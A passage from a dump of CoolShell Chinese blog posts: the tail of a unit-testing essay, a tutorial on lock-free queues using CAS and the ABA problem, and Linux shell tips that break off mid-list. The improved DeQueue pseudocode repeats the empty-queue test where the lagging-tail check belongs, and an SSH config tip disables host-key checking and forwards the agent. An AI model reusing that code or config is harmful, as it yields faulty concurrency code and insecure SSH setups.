开发过程中，单元测试应该来测试那些可能会出错的地方，或是那些边界情况。\n* 维护过程中，单元测试应该跟着我们的bug report来走，每一个bug都应该有个UT。于是程序员就会对自己的代码变更有两个自信，一是bug 被 fixed，二是相同的bug不会再次出现。\n\n\n**第三个答案：给敏捷咨师看的答案**\n\n\n这个答案在说，我们只注意到了TDD中的T，而忽略了第一个D，就是Driven…… bla bla bla… 又这扯这些空洞的东西了，国内的各种不学无术的敏捷咨询师最好这一口了。\n\n\n**第四个答案：致那些什么都要测试的人**\n\n\n如果我们需要测试一个像 `int square(int x)` 这样的开根函数，我们需要40亿个测试（每个数都要测试）。\n\n\n事实上这种情况可能还更糟糕，如果有这样一个方法 `void setX(int newX)` 不会更改其它的成员变量，如：obj.z, Obj.y，那么，你是不是还要去测试一下别的变量没有被改变？\n\n\n我们只可能测试那些有意义的，确实要测试的案例。\n\n\n#### 我的观点\n\n\n我在《[TDD并没有看上去的那么美](https://coolshell.cn/articles/3649.html \"TDD并不是看上去的那么美\")》一文中说过我的观点了，我就不再多说了。我还是把下面这些观点列出来，供大家思考和讨论：\n\n\n1）**我国的教育对我们最大的洗脑不是掩盖事实，而让我们习惯于标准答案，习惯于教条，从而不会思考！敏捷开发中的若干东西似乎都成了软件开发中对某种标准答案的教条，实在是悲哀！**\n\n\n2）**软件开发是一种脑力劳动，是一种知识密集型的工作，就像艺术作品一样，创作过程和成品是没有标准答案的。**\n\n\n3）**软件的质量不是测试出来的，而是设计和维护出来的。就像工匠们在一点一点地雕琢他们的作品一样。**\n\n\nUT的粒度是多少，这个不重要，重要的是你会不会自己思考你的软件应该怎么做，怎么测试。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5531.html)[Test-Driven Development？别逗了](https://coolshell.cn/articles/5531.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/5143.html)[在新浪微博上关于敏捷的一些讨论](https://coolshell.cn/articles/5143.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/4891.html)[Bob大叔和Jim Coplien对TDD的论战](https://coolshell.cn/articles/4891.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/3778.html)[敏捷水管工](https://coolshell.cn/articles/3778.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/3745.html)[再谈敏捷和ThoughtWorks中国咨询师](https://coolshell.cn/articles/3745.html)\n* [![[转]TDD到底美还是不美？](https://coolshell.cn/wp-content/uploads/2011/02/feedback_cycle-150x150.jpg)](https://coolshell.cn/articles/3766.html)[[转]TDD到底美还是不美？](https://coolshell.cn/articles/3766.html)\nThe post [“单元测试要做多细？”](https://coolshell.cn/articles/8209.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-9-7 无锁队列的实现.md",
    "content": "---\nlayout: post\ntitle: 无锁队列的实现\ndate: 2012/9/7/ 0:26:55\nupdated: 2012/9/7/ 0:26:55\nstatus: publish\npublished: true\ntype: post\n---\n\n\n***————注：本文于2019年11月4日更新————***\n\n\n关于无锁队列的实现，网上有很多文章，虽然本文可能和那些文章有所重复，但是我还是想以我自己的方式把这些文章中的重要的知识点串起来和大家讲一讲这个技术。下面开始正文。\n\n\n#### 关于CAS等原子操作\n\n\n![](../wp-content/uploads/2012/09/lock_free_bicycle.jpg \"lock free bicycle\")在开始说无锁队列之前，我们需要知道一个很重要的技术就是CAS操作——Compare & Set，或是 Compare & Swap，**现在几乎所有的CPU指令都支持CAS的原子操作，X86下对应的是 CMPXCHG 汇编指令。**有了这个原子操作，我们就可以用其来实现各种无锁（lock free）的数据结构。\n\n\n这个操作用C语言来描述就是下面这个样子：（代码来自[Wikipedia的Compare And Swap](http://en.wikipedia.org/wiki/Compare-and-swap)词条）意思就是说，看一看内存`*reg`里的值是不是`oldval`，如果是的话，则对其赋值`newval`。\n\n\n\n```\n\nint compare_and_swap (int* reg, int oldval, int newval)\n{\n  int old_reg_val = *reg;\n  if (old_reg_val == oldval) {\n     *reg = newval;\n  }\n  return old_reg_val;\n}\n\n```\n\n我们可以看到，`old_reg_val` 总是返回，于是，我们可以在 `compare_and_swap` 操作之后对其进行测试，以查看它是否与 `oldval`相匹配，因为它可能有所不同，这意味着另一个并发线程已成功地竞争到 `compare_and_swap` 并成功将 `reg` 值从 `oldval` 更改为别的值了。\n\n\n这个操作可以变种为返回bool值的形式（返回 bool值的好处在于，可以调用者知道有没有更新成功）：\n\n\n\n```\nbool compare_and_swap (int *addr, int oldval, int newval)\n{\n  if ( *addr != oldval ) {\n      return false;\n  }\n  *addr = newval;\n  return true;\n}\n```\n\n与CAS相似的还有下面的原子操作：（这些东西大家自己看Wikipedia，也没什么复杂的）\n\n\n* [Fetch And Add](http://en.wikipedia.org/wiki/Fetch-and-add)，一般用来对变量做 +1 的原子操作\n* [Test-and-set](http://en.wikipedia.org/wiki/Test-and-set \"Test-and-set\")，写值到某个内存位置并传回其旧值。汇编指令BST\n* [Test and Test-and-set](http://en.wikipedia.org/wiki/Test_and_Test-and-set \"Test and Test-and-set\")，用来低低Test-and-Set的资源争夺情况\n\n\n**注：**在实际的C/C++程序中，CAS的各种实现版本如下：\n\n\n\n**1）GCC的CAS**\n\n\nGCC4.1+版本中支持CAS的原子操作（完整的原子操作可参看 [GCC Atomic Builtins](http://gcc.gnu.org/onlinedocs/gcc-4.1.1/gcc/Atomic-Builtins.html)）\n\n\n\n```\nbool __sync_bool_compare_and_swap (type *ptr, type oldval type newval, ...)\ntype __sync_val_compare_and_swap (type *ptr, type oldval type newval, ...)\n```\n\n**2）Windows的CAS**\n\n\n在Windows下，你可以使用下面的Windows API来完成CAS：（完整的Windows原子操作可参看MSDN的[InterLocked Functions](http://msdn.microsoft.com/en-us/library/windows/desktop/ms686360(v=vs.85).aspx#interlocked_functions)）\n\n\n\n```\n InterlockedCompareExchange ( __inout LONG volatile *Target,\n                                 __in LONG Exchange,\n                                 __in LONG Comperand);\n```\n\n**3) C++11中的CAS**\n\n\nC++11中的STL中的atomic类的函数可以让你跨平台。（完整的C++11的原子操作可参看 [Atomic Operation Library](http://en.cppreference.com/w/cpp/atomic)）\n\n\n\n```\ntemplate< class T >\nbool atomic_compare_exchange_weak( std::atomic* obj,\n                                   T* expected, T desired );\ntemplate< class T >\nbool atomic_compare_exchange_weak( volatile std::atomic* obj,\n                                   T* expected, T desired );\n\n```\n\n#### 无锁队列的链表实现\n\n\n下面的代码主要参考于两篇论文：\n\n\n* John D. Valois 1994年10月在拉斯维加斯的并行和分布系统系统国际大会上的一篇论文——《[Implementing Lock-Free Queues](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.53.8674&rep=rep1&type=pdf)》\n* 美国纽约罗切斯特大学 Maged M. Michael 和 Michael L. Scott 在1996年3月发表的一篇论文 《[Simple, Fast, and Practical Non-Blocking and Blocking ConcurrentQueue Algorithms](https://www.cs.rochester.edu/u/scott/papers/1996_PODC_queues.pdf)》\n\n\n（注：下面的代码并不完全与这篇论文相同）\n\n\n初始化一个队列的代码很简，初始化一个dummy结点（注：在链表操作中，使用一个dummy结点，可以少掉很多边界条件的判断），如下所示：\n\n\n\n```\n\nInitQueue(Q)\n{\n    node = new node()\n    node->next = NULL;\n    Q->head = Q->tail = node;\n}\n\n```\n\n我们先来看一下进队列用CAS实现的方式，基本上来说就是链表的两步操作：\n\n\n1. 第一步，把tail指针的next指向要加入的结点。 `tail->next = p;`\n2. 第二步，把tail指针移到队尾。 `tail = p;`\n\n\n\n```\n\nEnQueue(Q, data) //进队列\n{\n    //准备新加入的结点数据\n    n = new node();\n    n->value = data;\n    n->next = NULL;\n\n    do {\n        p = Q->tail; //取链表尾指针的快照\n    } while( CAS(p->next, NULL, n) != TRUE); \n    //while条件注释：如果没有把结点链在尾指针上，再试\n\n    CAS(Q->tail, p, n); //置尾结点 tail = n;\n}\n```\n\n我们可以看到，程序中的那个 do-while 的 Retry-Loop 中的 CAS 操作：如果 `p->next` 是 `NULL`，那么，把新结点 `n` 加到队尾。如果不成功，则重新再来一次！\n\n\n就是说，很有可能我在准备在队列尾加入结点时，别的线程已经加成功了，于是tail指针就变了，于是我的CAS返回了false，于是程序再试，直到试成功为止。这个很像我们的抢电话热线的不停重播的情况。\n\n\n但是你会看到，为什么我们的“置尾结点”的操作（第13行）不判断是否成功，因为：\n\n\n1. 如果有一个线程T1，它的while中的CAS如果成功的话，那么其它所有的 随后线程的CAS都会失败，然后就会再循环，\n2. 此时，如果T1 线程还没有更新tail指针，其它的线程继续失败，因为`tail->next`不是NULL了。\n3. 直到T1线程更新完 `tail` 指针，于是其它的线程中的某个线程就可以得到新的 `tail` 指针，继续往下走了。\n4. 所以，只要线程能从 while 循环中退出来，意味着，它已经“独占”了，`tail` 指针必然可以被更新。\n\n\n这里有一个潜在的问题——**如果T1线程在用CAS更新tail指针的之前，线程停掉或是挂掉了，那么其它线程就进入死循环了**。下面是改良版的EnQueue()\n\n\n\n```\nEnQueue(Q, data) //进队列改良版 v1\n{\n    n = new node();\n    n->value = data;\n    n->next = NULL;\n\n    p = Q->tail;\n    oldp = p\n    do {\n        while (p->next != NULL)\n            p = p->next;\n    } while( CAS(p.next, NULL, n) != TRUE); //如果没有把结点链在尾上，再试\n\n    CAS(Q->tail, oldp, n); //置尾结点\n}\n```\n\n我们让每个线程，自己fetch 指针 `p` 到链表尾。但是这样的fetch会很影响性能。而且，如果一个线程不断的EnQueue，会导致所有的其它线程都去 fetch 他们的 `p` 指针到队尾，能不能不要所有的线程都干同一个事？这样可以节省整体的时间？\n\n\n比如：直接 fetch `Q->tail` 到队尾？因为，所有的线程都共享着 Q->tail，所以，一旦有人动了它后，相当于其它的线程也跟着动了，于是，我们的代码可以改进成如下的实现：\n\n\n\n```\n\nEnQueue(Q, data) //进队列改良版 v2 \n{\n    n = new node();\n    n->value = data;\n    n->next = NULL;\n\n    while(TRUE) {\n        //先取一下尾指针和尾指针的next\n        tail = Q->tail;\n        next = tail->next;\n\n        //如果尾指针已经被移动了，则重新开始\n        if ( tail != Q->tail ) continue;\n\n        //如果尾指针的 next 不为NULL，则 fetch 全局尾指针到next\n        if ( next != NULL ) {\n            CAS(Q->tail, tail, next);\n            continue;\n        }\n\n        //如果加入结点成功，则退出\n        if ( CAS(tail->next, next, n) == TRUE ) break;\n    }\n    CAS(Q->tail, tail, n); //置尾结点\n}\n\n```\n\n上述的代码还是很清楚的，相信你一定能看懂，而且，这也是 Java 中的 `ConcurrentLinkedQueue` 的实现逻辑，当然，我上面的这个版本比 Java 的好一点，因为没有 if 嵌套，嘿嘿。\n\n\n好了，我们解决了EnQueue，我们再来看看DeQueue的代码：（很简单，我就不解释了）\n\n\n\n```\n\nDeQueue(Q) //出队列\n{\n    do{\n        p = Q->head;\n        if (p->next == NULL){\n            return ERR_EMPTY_QUEUE;\n        }\n    while( CAS(Q->head, p, p->next) != TRUE );\n    return p->next->value;\n}\n```\n\n**我们可以看到，DeQueue的代码操作的是 `head->next`，而不是 `head` 本身。这样考虑是因为一个边界条件，我们需要一个dummy的头指针来解决链表中如果只有一个元素，`head` 和 `tail` 都指向同一个结点的问题，这样 `EnQueue` 和 `DeQueue` 要互相排斥了**。\n\n\n但是，如果 `head` 和 `tail` 都指向同一个结点，这意味着队列为空，应该返回 `ERR_EMPTY_QUEUE`，但是，在判断 `p->next == NULL` 时，另外一个EnQueue操作做了一半，此时的 p->next 不为 NULL了，但是 tail 指针还差最后一步，没有更新到新加的结点，这个时候就会出现，在 EnQueue 并没有完成的时候， DeQueue 已经把新增加的结点给取走了，此时，队列为空，但是，head 与 tail 并没有指向同一个结点。如下所示：\n\n\n![](../wp-content/uploads/2012/09/lock.free_.queue_-224x300.png)\n\n\n虽然，EnQueue的函数会把 tail 指针置对，但是，这种情况可能还是会导致一些并发问题，所以，严谨来说，我们需要避免这种情况。于是，我们需要加入更多的判断条件，还确保这个问题。下面是相关的改进代码：\n\n\n\n```\n\nDeQueue(Q) //出队列，改进版\n{\n    while(TRUE) {\n        //取出头指针，尾指针，和第一个元素的指针\n        head = Q->head;\n        tail = Q->tail;\n        next = head->next;\n\n        // Q->head 指针已移动，重新取 head指针\n        if ( head != Q->head ) continue;\n        \n        // 如果是空队列\n        if ( head == tail && next == NULL ) {\n            return ERR_EMPTY_QUEUE;\n        }\n        \n        //如果 tail 指针落后了\n        if ( head == tail && next == NULL ) {\n            CAS(Q->tail, tail, next);\n            continue;\n        }\n\n        //移动 head 指针成功后，取出数据\n        if ( CAS( Q->head, head, next) == TRUE){\n            value = next->value;\n            break;\n        }\n    }\n    free(head); //释放老的dummy结点\n    return value;\n}\n```\n\n上面这段代码的逻辑和 Java 的 `ConcurrentLinkedQueue` 的 `poll` 方法很一致了。也是《[Simple, Fast, and Practical Non-Blocking and Blocking ConcurrentQueue Algorithms](https://www.cs.rochester.edu/u/scott/papers/1996_PODC_queues.pdf)》这篇论文中的实现。\n\n\n#### CAS的ABA问题\n\n\n所谓ABA（[见维基百科的ABA词条](http://en.wikipedia.org/wiki/ABA_problem)），问题基本是这个样子：\n\n\n1. 进程P1在共享变量中读到值为A\n2. P1被抢占了，进程P2执行\n3. P2把共享变量里的值从A改成了B，再改回到A，此时被P1抢占。\n4. P1回来看到共享变量里的值没有被改变，于是继续执行。\n\n\n虽然P1以为变量值没有改变，继续执行了，但是这个会引发一些潜在的问题。**ABA问题最容易发生在lock free 的算法中的，CAS首当其冲，因为CAS判断的是指针的值。很明显，值是很容易又变成原样的。**\n\n\n比如上述的DeQueue()函数，因为我们要让head和tail分开，所以我们引入了一个dummy指针给head，当我们做CAS的之前，如果head的那块内存被回收并被重用了，而重用的内存又被EnQueue()进来了，这会有很大的问题。（**内存管理中重用内存基本上是一种很常见的行为**）\n\n\n这个例子你可能没有看懂，维基百科上给了一个活生生的例子——\n\n\n\n> 你拿着一个装满钱的手提箱在飞机场，此时过来了一个火辣性感的美女，然后她很暖昧地挑逗着你，并趁你不注意的时候，把用一个一模一样的手提箱和你那装满钱的箱子调了个包，然后就离开了，你看到你的手提箱还在那，于是就提着手提箱去赶飞机去了。\n> \n> \n\n\n这就是ABA的问题。\n\n\n#### 解决ABA的问题\n\n\n维基百科上给了一个解——使用double-CAS（双保险的CAS），例如，在32位系统上，我们要检查64位的内容\n\n\n1）一次用CAS检查双倍长度的值，前半部是值，后半部分是一个计数器。\n\n\n2）只有这两个都一样，才算通过检查，要吧赋新的值。并把计数器累加1。\n\n\n这样一来，ABA发生时，虽然值一样，但是计数器就不一样（但是在32位的系统上，这个计数器会溢出回来又从1开始的，这还是会有ABA的问题）\n\n\n当然，我们这个队列的问题就是不想让那个内存重用，这样明确的业务问题比较好解决，论文《[Implementing Lock-Free Queues](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.53.8674&rep=rep1&type=pdf)》给出一这么一个方法——**使用结点内存引用计数refcnt**！（论文《[Simple, Fast, and Practical Non-Blocking and Blocking ConcurrentQueue Algorithms](https://www.cs.rochester.edu/u/scott/papers/1996_PODC_queues.pdf)》中的实现方法也基本上是一样的，用到的是增加一个计数，可以理解为版本号）\n\n\n）\n\n\n\n```\nSafeRead(q)\n{\n    loop:\n        p = q->next;\n        if (p == NULL){\n            return p;\n        }\n\n        Fetch&Add(p->refcnt, 1);\n\n        if (p == q->next){\n            return p;\n        }else{\n            Release(p);\n        }\n    goto loop;\n}\n```\n\n其中的 Fetch&Add和Release分是是加引用计数和减引用计数，都是原子操作，这样就可以阻止内存被回收了。\n\n\n#### 用数组实现无锁队列\n\n\n本实现来自论文《[Implementing Lock-Free Queues](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.53.8674&rep=rep1&type=pdf)》\n\n\n使用数组来实现队列是很常见的方法，因为没有内存的分部和释放，一切都会变得简单，实现的思路如下：\n\n\n1）数组队列应该是一个ring buffer形式的数组（环形数组）\n\n\n2）数组的元素应该有三个可能的值：HEAD，TAIL，EMPTY（当然，还有实际的数据）\n\n\n3）数组一开始全部初始化成EMPTY，有两个相邻的元素要初始化成HEAD和TAIL，这代表空队列。\n\n\n4）EnQueue操作。假设数据x要入队列，定位TAIL的位置，使用double-CAS方法把(TAIL, EMPTY) 更新成 (x, TAIL)。需要注意，如果找不到(TAIL, EMPTY)，则说明队列满了。\n\n\n5）DeQueue操作。定位HEAD的位置，把(HEAD, x)更新成(EMPTY, HEAD)，并把x返回。同样需要注意，如果x是TAIL，则说明队列为空。\n\n\n算法的一个关键是——如何定位HEAD或TAIL？\n\n\n1）我们可以声明两个计数器，一个用来计数EnQueue的次数，一个用来计数DeQueue的次数。\n\n\n2）这两个计算器使用使用Fetch&ADD来进行原子累加，在EnQueue或DeQueue完成的时候累加就好了。\n\n\n3）累加后求个模什么的就可以知道TAIL和HEAD的位置了。\n\n\n如下图所示：\n\n\n![](../wp-content/uploads/2012/09/lock-free-array.jpg \"Lock-Free Queue(Array)\")\n\n\n####  小结\n\n\n以上基本上就是所有的无锁队列的技术细节，这些技术都可以用在其它的无锁数据结构上。\n\n\n1）无锁队列主要是通过CAS、FAA这些原子操作，和Retry-Loop实现。\n\n\n2）对于Retry-Loop，我个人感觉其实和锁什么什么两样。只是这种“锁”的粒度变小了，主要是“锁”HEAD和TAIL这两个关键资源。而不是整个数据结构。\n\n\n还有一些和Lock Free的文章你可以去看看：\n\n\n* Code Project 上的雄文 《[Yet another implementation of a lock-free circular array queue](http://www.codeproject.com/Articles/153898/Yet-another-implementation-of-a-lock-free-circular)》\n* Herb Sutter的《[Writing Lock-Free Code: A Corrected Queue](http://www.drdobbs.com/parallel/writing-lock-free-code-a-corrected-queue/210604448?pgno=1)》– 用C++11的std::atomic模板。\n* IBM developerWorks的《[设计不使用互斥锁的并发数据结构](http://www.ibm.com/developerworks/cn/aix/library/au-multithreaded_structures2/index.html)》\n\n\n【**注：我配了一张look-free的自行车，寓意为——如果不用专门的车锁，那么自行得自己锁自己！**】\n （全文完）\n\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/10975.html)[一个“蝇量级” C 语言协程库](https://coolshell.cn/articles/10975.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/9886.html)[二叉树迭代器算法](https://coolshell.cn/articles/9886.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [![Why C++ ? 王者归来](../wp-content/uploads/2012/02/WhyCPP.01-150x150.jpg)](https://coolshell.cn/articles/6548.html)[Why C++ ? 王者归来](https://coolshell.cn/articles/6548.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/6010.html)[一些有意思的算法代码](https://coolshell.cn/articles/6010.html)\nThe post [无锁队列的实现](https://coolshell.cn/articles/8239.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-1-9 应该知道的Linux技巧.md",
    "content": "---\nlayout: post\ntitle: 应该知道的Linux技巧\ndate: 2013/1/9/ 0:24:29\nupdated: 2013/1/9/ 0:24:29\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2013/01/linux-bash-300x225.jpg)这篇文章来源于Quroa的一个问答《[What are some time-saving tips that every Linux user should know?](http://www.quora.com/Linux/What-are-some-time-saving-tips-that-every-Linux-user-should-know#)》—— Linux用户有哪些应该知道的提高效率的技巧。我觉得挺好的，总结得比较好，把其转过来，并加了一些自己的理解。 首先，我想告诉大家，**在Unix/Linux下，最有效率技巧的不是操作图形界面，而是命令行操作，因为命令行意味着自动化**。如果你看过《[你可能不知道的Shell](https://coolshell.cn/articles/8619.html \"你可能不知道的Shell\")》以及《[28个Unix/Linux的命令行神器](https://coolshell.cn/articles/7829.html \"28个Unix/Linux的命令行神器\")》你就会知道Linux有多强大，这个强大完全来自于命令行，于是，就算你不知道怎么去[做一个环保主义的程序员](https://coolshell.cn/articles/7186.html \"做个环保主义的程序员\")，至少他们可以让你少熬点夜，从而有利于你的身体健康和性生活。下面是一个有点长的列表，正如作者所说，你并不需要知道所有的这些东西，但是如果你还在很沉重地在使用Linux的话，这些东西都值得你看一看。 （注：如果你想知道下面涉及到的命令的更多的用法，你一定要man一点。对于一些命令，你可以需要先yum或apt-get来安装一下，如果有什么问题，别忘了Google。如果你要Baidu的话，我仅代表这个地球上所有的生物包括微生物甚至细菌病毒和小强BS你到宇宙毁灭）\n\n\n#### 基础\n\n\n* **学习 [Bash](http://www.quora.com/Bash-shell)**。你可以man bash来看看bash的东西，并不复杂也并不长。你用别的shell也行，但是bash是很强大的并且也是系统默认的。（学习zsh或tsch只会让你在很多情况下受到限制）\n\n\n* **学习 vim** 。在Linux下，基本没有什么可与之竞争的编~~译~~辑器（就算你是一个Emacs或Eclipse的重度用户）。你可以看看《[简明vim攻略](https://coolshell.cn/articles/5426.html \"简明 Vim 练级攻略\")》和 《[Vim的冒险游戏](https://coolshell.cn/articles/7166.html \"游戏：VIM大冒险\")》以及《[给程序员的Vim速查卡](https://coolshell.cn/articles/5479.html \"给程序员的VIM速查卡\")》还有《[把Vim变成一个编程的IDE](https://coolshell.cn/articles/894.html \"将vim变得简单:如何在vim中得到你最喜爱的IDE特性\")》等等。\n\n\n* **了解 ssh**。明白不需要口令的用户认证（通过ssh-agent, ssh-add），学会用ssh翻墙，用scp而不是ftp传文件，等等。你知道吗？scp 远端的时候，你可以按tab键来查看远端的目录和文件（当然，需要无口令的用户认证），这都是bash的功劳。\n\n\n\n* **熟悉bash的作业管理**，如： &, Ctrl-Z, Ctrl-C, jobs, fg, bg, kill, 等等。当然，你也要知道Ctrl+\\（SIGQUIT）和Ctrl+C （SIGINT）的区别。\n\n\n* **简单的文件管理** ： ls 和 ls -l (你最好知道 “ls -l” 的每一列的意思), less, head, tail 和 tail -f, ln 和 ln -s (你知道明白hard link和soft link的不同和优缺点), chown, chmod, du (如果你想看看磁盘的大小 du -sk \\*), df, mount。当然，原作者忘了find命令。\n\n\n* **基础的网络管理**： ip 或 ifconfig, dig。当然，原作者还忘了如netstat, ping, traceroute, 等\n\n\n* **理解正则表达式**，还有grep/egrep的各种选项。比如： -o, -A, 和 -B 这些选项是很值得了解的。\n\n\n* **学习使用 apt-get 和 yum 来查找和安装软件**（前者的经典分发包是Ubuntu，后者的经典分发包是Redhat），我还建议你试着从源码编译安装软件。\n\n\n**日常**\n\n\n* 在 bash 里，使用 Ctrl-R 而不是上下光标键来查找历史命令。\n\n\n* 在 bash里，使用 Ctrl-W 来删除最后一个单词，使用 Ctrl-U 来删除一行。请man bash后查找Readline Key Bindings一节来看看bash的默认热键，比如：Alt-. 把上一次命令的最后一个参数打出来，而Alt-\\* 则列出你可以输入的命令。\n\n\n* 回到上一次的工作目录： cd –  （回到home是 cd ~）\n\n\n* 使用 xargs。这是一个很强大的命令。你可以使用-L来限定有多少个命令，也可以用-P来指定并行的进程数。如果你不知道你的命令会变成什么样，你可以使用xargs echo来看看会是什么样。当然， -I{} 也很好用。示例：\n\n\n\n> \n> \n> ```\n> find . -name \\*.py | xargs grep some_function\n> \n> cat hosts | xargs -I{} ssh root@{} hostname\n> ```\n> \n> \n\n\n* pstree -p 可以帮你显示进程树。（读过我的那篇《[一个fork的面试题](https://coolshell.cn/articles/7965.html \"一个fork的面试题\")》的人应该都不陌生）\n\n\n* 使用 pgrep 和 pkill 来找到或是kill 某个名字的进程。 (-f 选项很有用).\n\n\n* 了解可以发给进程的信号。例如：要挂起一个进程，使用 kill -STOP [pid]. 使用 man 7 signal 来查看各种信号，使用kill -l 来查看数字和信号的对应表\n\n\n* 使用 nohup 或  disown 如果你要让某个进程运行在后台。\n\n\n* 使用netstat -lntp来看看有侦听在网络某端口的进程。当然，也可以使用 lsof。\n\n\n* 在bash的脚本中，你可以使用 set -x 来debug输出。使用 set -e 来当有错误发生的时候abort执行。考虑使用 set -o pipefail 来限制错误。还可以使用trap来截获信号（如截获ctrl+c）。\n\n\n* 在bash 脚本中，subshells (写在圆括号里的) 是一个很方便的方式来组合一些命令。一个常用的例子是临时地到另一个目录中，例如：\n\n\n\n> \n> \n> ```\n> # do something in current dir\n> (cd /some/other/dir; other-command)\n> # continue in original dir\n> ```\n> \n> \n\n\n* 在 bash 中，注意那里有很多的变量展开。如：检查一个变量是否存在: ${name:?error message}。如果一个bash的脚本需要一个参数，也许就是这样一个表达式 input\\_file=${1:?usage: $0 input\\_file}。一个计算表达式： i=$(( (i + 1) % 5 ))。一个序列： {1..10}。 截断一个字符串： ${var%suffix} 和 ${var#prefix}。 示例： if var=foo.pdf, then echo ${var%.pdf}.txt prints “foo.txt”.\n\n\n* 通过 <(some command) 可以把某命令当成一个文件。示例：比较一个本地文件和远程文件 /etc/hosts： diff /etc/hosts <(ssh somehost cat /etc/hosts)\n\n\n* 了解什么叫 “[here documents](http://zh.wikipedia.org/wiki/Here%E6%96%87%E6%A1%A3)” ，就是诸如 cat <<EOF 这样的东西。\n\n\n* 在 bash中，使用重定向到标准输出和标准错误。如： some-command >logfile 2>&1。另外，要确认某命令没有把某个打开了的文件句柄重定向给标准输入，最佳实践是加上 “</dev/null”，把/dev/null重定向到标准输入。\n\n\n* 使用 man ascii 来查看 ASCII 表。\n\n\n* 在远端的 ssh 会话里，使用 screen 或 dtach 来保存你的会话。（参看《[28个Unix/Linux的命令行神器](https://coolshell.cn/articles/7829.html \"28个Unix/Linux的命令行神器\")》）\n\n\n* 要来debug Web，试试curl 和 curl -I 或是 wget 。我觉得debug Web的利器是firebug，curl和wget是用来抓网页的，呵呵。\n\n\n* 把 HTML 转成文本： lynx -dump -stdin\n\n\n* 如果你要处理XML，使用 xmlstarlet\n\n\n* 对于 Amazon S3， s3cmd 是一个很方便的命令（还有点不成熟）\n\n\n* 在 ssh中，知道怎么来使用ssh隧道。通过 -L or -D (还有-R) ，翻墙神器。\n\n\n* 你还可以对你的ssh 做点优化。比如，.ssh/config 包含着一些配置：避免链接被丢弃，链接新的host时不需要确认，转发认证，以前使用压缩（如果你要使用scp传文件）：\n\n\n\n> \n> \n> ```\n> TCPKeepAlive=yes\n> ServerAliveInterval=15\n> ServerAliveCountMax=6\n> StrictHostKeyChecking=no\n> Compression=yes\n> ForwardAgent=yes\n> ```\n> \n> \n\n\n* 如果你有输了个命令行，但是你改变注意了，但你又不想删除它，因为你要在历史命令中找到它，但你也不想执行它。那么，你可以按下 Alt-# ，于是这个命令关就被加了一个#字符，于是就被注释掉了。\n\n\n**数据处理**\n\n\n* 了解 sort 和 uniq 命令 (包括 uniq 的 -u 和 -d 选项).\n\n\n* 了解用 cut, paste, 和 join 命令来操作文本文件。很多人忘了在cut前使用join。\n\n\n* 如果你知道怎么用sort/uniq来做集合交集、并集、差集能很大地促进你的工作效率。假设有两个文本文件a和b已解被 uniq了，那么，用sort/uniq会是最快的方式，无论这两个文件有多大（sort不会被内存所限，你甚至可以使用-T选项，如果你的/tmp目录很小）\n\n\n\n> \n> \n> ```\n> cat a b | sort | uniq > c   # c is a union b 并集\n> \n> cat a b | sort | uniq -d > c   # c is a intersect b 交集\n> \n> cat a b b | sort | uniq -u > c   # c is set difference a - b 差集\n> ```\n> \n> \n\n\n* 了解和字符集相关的命令行工具，包括排序和性能。很多的Linux安装程序都会设置LANG 或是其它和字符集相关的环境变量。这些东西可能会让一些命令（如：sort）的执行性能慢N多倍（注：就算是你用UTF-8编码文本文件，你也可以很安全地使用ASCII来对其排序）。如果你想Disable那个i18n 并使用传统的基于byte的排序方法，那就设置export LC\\_ALL=C （实际上，你可以把其放在 .bashrc）。如果这设置这个变量，你的sort命令很有可能会是错的。\n\n\n* 了解 awk 和 sed，并用他们来做一些简单的数据修改操作。例如：求第三列的数字之和： awk ‘{ x += $3 } END { print x }’。这可能会比Python快3倍，并比Python的代码少三倍。\n\n\n* 使用 shuf 来打乱一个文件中的行或是选择文件中一个随机的行。\n\n\n* 了解sort命令的选项。了解key是什么（-t和-k）。具体说来，你可以使用-k1,1来对第一列排序，-k1来对全行排序。\n\n\n* Stable sort (sort -s) 会很有用。例如：如果你要想对两例排序，先是以第二列，然后再以第一列，那么你可以这样： sort -k1,1 | sort -s -k2,2\n\n\n* 我们知道，在bash命令行下，Tab键是用来做目录文件自动完成的事的。但是如果你想输入一个Tab字符（比如：你想在sort -t选项后输入<tab>字符），你可以先按Ctrl-V，然后再按Tab键，就可以输入<tab>字符了。当然，你也可以使用$’\\t’。\n\n\n* 如果你想查看二进制文件，你可以使用hd命令（在CentOS下是hexdump命令），如果你想编译二进制文件，你可以使用bvi命令（<http://bvi.sourceforge.net/> 墙）\n\n\n* 